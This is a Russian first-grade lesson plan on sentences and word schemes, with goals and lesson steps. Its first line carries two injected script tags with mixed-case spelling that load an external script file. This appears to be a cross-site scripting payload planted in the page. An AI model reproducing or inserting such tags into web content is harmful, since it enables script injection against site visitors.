<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

16.01.2018

Тема занятия:  «Веселая перемена. Предложение»

Цель: Отвечать на простые вопросы на основе прослушанного материала. Соблюдать интонацию,использование в речи невербальных средств общения (мимика, жесты и т.д.) Читать схемы предложений.  Составлять схемы слов, предложений, записывать их с помощью моделирования или на основе предложенных моделей.

Ход занятия:

Создание положительного  эмоционального настроя.

Актуализация жизненного опыта.

«Заводные игрушки»

Работа в Букваре по теме занятия.

Отвечают  на вопросы по сюжетной картинке. Имеют первоначальное представление о предложении. Различать длинные и короткие слова, объясняют, как они это узнали. Составляют предложения по сюжетным картинкам. Внимательно слушают   то,  что говорят  другие, отвечают на вопросы педагога, участвуют  в групповой работе, связанной с общением. Подбирают  слова к звуковым схемам.

Динамическая пауза.

Работа в рабочей тетради. 

Пальчиковая гимнастика

Письмо.

Итог занятия.